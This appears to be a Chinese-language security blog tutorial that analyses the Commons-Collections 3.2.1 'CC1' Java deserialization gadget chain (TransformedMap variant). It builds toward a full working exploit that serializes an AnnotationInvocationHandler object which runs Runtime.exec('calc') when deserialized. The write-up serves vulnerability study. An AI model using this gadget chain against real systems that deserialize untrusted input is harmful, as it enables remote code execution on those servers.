avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Java反序列化Commons-Collections01-CC1链(TransformMap )
文章

Java反序列化Commons-Collections01-CC1链(TransformMap )

Posted 2025-09-1 Updated 2025-09- 1
By Administrator
47~60 min read

环境搭建

JDK8u71以上,这个漏洞已经被修复了

JDK8u65

下载地址

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

然后再pom.xml中添加以下代码

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

配置Maven仓库

官网地址

https://maven.apache.org/

下载之后来到这个文件

然后再idea的设置中设置settings.xml的文件位置

看见左边多出了Maven的依赖环境,我们可以开始学习CC1链了

openJDK 8u65

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

下载好之后复制sun文件并把它复制到之前的jdk8u65的src文件中,再添加src的路径

这样子做的好处就是可以编译部分的class文件为java文件,可以进行断点调试

基础知识

Apache Commons Collections(简称 “Commons-Collections” 或 “CC”)是 Apache 基金会下的一个 Java 容器与工具库,目标是 扩展、补充并增强 JDK 自带的集合框架(java.util.*)。它从 2002 年开始发布,至今仍在维护,被无数开源/商业项目依赖(Hibernate、Spring、Struts、Flink、Spark、ElasticSearch …)。因为接口丰富、实现灵活,它也成了历史上最知名的一条反序列化利用链(CC1/CC2/CC3…)的源头。

Common-Collections包的结构

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类

  • org.apache.commons.collections.bag – 实现Bag接口的一组类

  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类

  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类

  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类

  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类

  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类

  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类

  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类

  • org.apache.commons.collections.list – 实现java.util.List接口的一组类

  • org.apache.commons.collections.map – 实现Map系列接口的一组类

  • org.apache.commons.collections.set – 实现Set系列接口的一组类

TransformMap版CC1攻击链分析

Gadget Chain
┌─────────────────────────────────────────┐
│AnnotationInvocationHandler.readObject   │  ⬅ 反序列化入口
│  └─ memberValues.entrySet()             │  ⬅ memberValues 是代理的 Map
│      └─ TransformedMap.setValue         │  ⬅ 写 value 时触发
│          └─ valueTransformer.transform  │  ⬅ InvokerTransformer
│              └─ Method.invoke           │  ⬅ 反射执行 exec
└─────────────────────────────────────────┘

入口点-任意命令执行

可以看到InvokerTransformer中存在一个可以反射调用任意类,可以作为我们链子的终点。

先回顾一下之前的反射的命令执行的代码

import org.apache.commons.collections.functors.InvokerTransformer;  
  
import java.lang.reflect.Method;  
  
public class InvokeTransformerTest {  
     public static void main(String[] args) throws Exception{  
         Runtime runtime = Runtime.getRuntime();  
         Class c = Runtime.class;  
         Method method = c.getDeclaredMethod("exec", String.class);  
         method.setAccessible(true);  
         method.invoke(runtime, "calc");  
     }
}

这里通过getDeclaredMethod(String name, Class<?>... parameterTypes)这是Class类的一个方法,用于获取该类中声明的指定名称和参数类型的方法(包括私有方法,但不包括继承的方法)动态地找到了Runtime.exec方法并执行了calc命令。

接下来再构造一个利用InvokerTransformer类弹计算器的程序

所以这里对照上面的例子把对应的变量都替换,变成

public class InvokeTransformerTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer a =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        a.transform(runtime);
    }
}

就可以成功弹出计算器。

由于此反射执行的exec在transform方法里所以我要去找调用transform方法的不同名函数

寻找调用入口点的类

在项目和库内查找transform方法的不同名函数

然后找到一个checkSetValue类会调用transform方法,返回了一个valueTransformer.transform(value);,那我们就看一下valueTransformer是什么

由于TransformedMap的构造方法作用域是projected,所以还要找一下谁调用了TransformedMap

看到这里有一个decorate是public的且调用了TransformedMap,那就尝试讲此类作为链子的开头,编写POC

public class InvokeTransformerTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer a =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object>map=new HashMap<>();
        Map decoratemap=TransformedMap.decorate(map,null,a);
        Class<TransformedMap> transformedMapClass=TransformedMap.class;
        Method checkSetValueMethod=transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
        checkSetValueMethod.setAccessible(true);
        checkSetValueMethod.invoke(decoratemap,runtime);

    }
}

成功。

简单理解一下这个链子的构造

  • 首先明确我们最后要执行的点是InvokerTransformer.transform方法使其执行exec.calc弹出计算器,然后TransformedMap.checkSetValue中就有transform的调用,所以借checkSetValue触发

  • 根据TransformedMap.checkSetValue一步步向上回溯,通过public方法decorate将已经构造好的InvokerTransformer传入TransformedMap,再通过TransformedMap自动传入valueTransformer,再通过checkSetValue的valueTransformer.transform(value)执行,

  • 所以说checkSetValueMethod.invoke(decoratemap, runtime); 这行代码,翻译成直接调用就是

decoratemap.checkSetValue(runtime); // 导致内部执行:
a.transform(runtime);               // 导致内部执行:
runtime.exec("calc");              // 弹出计算器
  • 一直在被转递的炸弹最终被引爆

就是这样由上至下传递。

到这里链子最终还是通过checkSetValue触发的,所以我们继续寻找调用了checkSetValue的方法

然后这里就看到了一个类 AbstractInputCheckedMapDecorator.MapEntry,它的setValue方法调用了checkSetValue

 public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

TransformedMap 类是 AbstractInputCheckedMapDecorator类的子类,所以子类可以调用父类的方法,然后写新的poc

 public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer a = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> hashMap=new HashMap<>();
        hashMap.put("key","value");

        Map<Object,Object>  decorateMap=TransformedMap.decorate(hashMap, null, a);

        for (Map.Entry entry:decorateMap.entrySet()){
            entry.setValue(runtime);//setValue -> checkSetValue(Object value) -> transform(Object input)
        }
    }

所以到此为止,我们只需要找到一个readObject里面调用了setValue()方法就行了。

寻找调用构造链的readObject方法的入口类

继续跟进,最终在这里找到了调用了setValue方法的readObject类

发现这个在AnnotationInvocationHandler类中

TransformMap版CC1EXP

EXP构造

在理想情况下的exp


public class InvokeTransformerTest {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    //序列化与反序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
  • 其中 AnnotationInvocationHandler,我们这里构造了一个和它类型相同的类。

  • 至于 Override.class是怎么来的,是因为 AnnotationInvocationHandler继承 Annotation接口

  • 实际上 Annotation接口是注解的意思,所以我们可以用 Override.class (注解)放进 newInstance()实例化的第一个参数里面

  • 第二个参数 transformedMap: 我们将之前准备好的“陷阱Map”传给了AIH的构造函数。AIH会将其保存为自己的成员变量 memberValues。

但是到这里仍然有三个问题需要解决

  1. Runtime 对象不可序列化,需要通过反射将其变成可以序列化的形式。

  2. setValue() 的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西

  1. 解决要进入 setValue 的两个 if 判断

解决Runtime对象不能序列化

Runtime是不能序列化的,但是Runtime.class可以序列化

先回顾一下普通的反射

package FinalEXP;  
  
import java.lang.reflect.Method;  
  
public class SolvedProblemRuntime {  
    public static void main(String[] args) throws Exception{  
        Class c = Runtime.class;  
         Method method = c.getMethod("getRuntime");  
         Runtime runtime = (Runtime) method.invoke(null, null);  
         Method run = c.getMethod("exec", String.class);  
         run.invoke(runtime, "calc");  
     }  
}

所以我们这里把它改造成使用InvokerTransformer调用的方式

Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

发现可以正常调出计算器,说明反射代码调试成功。

其中

Method getruntimeMethod = (Method) new InvokerTransformer(
                            "getMethod", // 要调用的方法名
                            new Class[]{String.class, Class[].class}, // getMethod的参数类型
                            new Object[]{"getRuntime", null} // getMethod的参数值
                         ).transform(Runtime.class); // 调用transform的输入:Runtime.class

等价于

Method getruntimeMethod = Runtime.class.getMethod("getRuntime", (Class[])null);

数据流与调用链为

输入: Runtime.class
  |
  V
InvokerTransformer1 (调用 getMethod) -> 输出: Method (getRuntime)
  |
  V
InvokerTransformer2 (调用 invoke)    -> 输出: Runtime实例
  |
  V
InvokerTransformer3 (调用 exec)      -> 输出: 执行成功(弹出计算器)

实际上我们还可以进行利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码

这里的transform方法递归调用了前一个方法的结果,作为后一个方法的参数,所以我们这里这样写。

Transformer[]  transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        chainedTransformer.transform(Runtime.class);

将它与之前的链子结合一下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;



public class CC1Test {
    public static void main(String[] args) throws Exception {

        Transformer[]  transformers = new Transformer[]{

                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    //序列化与反序列化
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

现在运行exp代码肯定是不能生效的,主要有两点:

  • 变量成员不能为空

  • 通过绕过两个if,才能来到 setValue方法

这里打断点之后会发现直接跳出了并没有到setValue中去

绕过if

第一个if判断过不掉的原因是memberType为空了,让我们追溯一下这是什么东西

这里可以看到我们的成员变量是Override注解,然后它的成员变量是 null的

进入Override类一看,发现是空的

Ctrl + 鼠标键 点击 Target

来到了这里,Target也是注解的一个类,然后它的成员变量是value,所以我们可以用 Target.class 代替 Override.class

回去把 Override.class改成Target.class

  Object o = aihConstructor.newInstance(Target.class, transformedMap);

但是调试发现这里还是null

这是因为 Target注解类它没有key这个键值,我们需要用value方法,才能让它识别

所以这里我们把exp代码改成

就会发现这里已经不再是null了

成功绕过if判断

最终exp

继续F7跟进来到这里

发现这是我们之前执行命令的一个点,但是setValue我们无法控制

在ConstantTransformer类中发现了 ConstantTransformer方法可以返回常量值,这个类里面也有transform方法,配合使用的话,也就说传入什么值 都可以调用 transform(value),从而调用 Runtime.class进行反射

添加这行代码就相当于做到了setValue要干的事

所以最终exp为


public class InvokeTransformerTest {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, transformedMap);

        // 序列化反序列化
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

总结

😵

java反序列化
java反序列化
License:  CC BY 4.0
Share

Further Reading

Oct 9, 2025

Java反序列化-RMI的几种攻击方式

RMI的基本攻击方式 RMI Client打RMI Registry RMI Client打RMI Server RMI Client 打RMI Registry 与注册中心的交互主要是这句话 Naming.bind("rmi://127.0.0.1:1099/sayHello", new Remo

Sep 28, 2025

Java反序列化-RMI流程分析

概述 官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html RMI应用程序通常由两个独立的程序组成,一个服务器和一个客户端。服务端通过绑定这个远程对象类,它可以封装网络操作。客户端层面上只需要传递一个名字,还有地址。RMI提供了

Sep 21, 2025

Shiro反序列化漏洞-Shiro550

环境搭建 tomcat8.5.81 JDK1.7下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 下载shrio对应的war包 https://github.com/jas502n/

OLDER

Java反序列化基础4——类的动态加载

NEWER

Java反序列化Commons-Collections02 -CC1链(LazyMap)

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy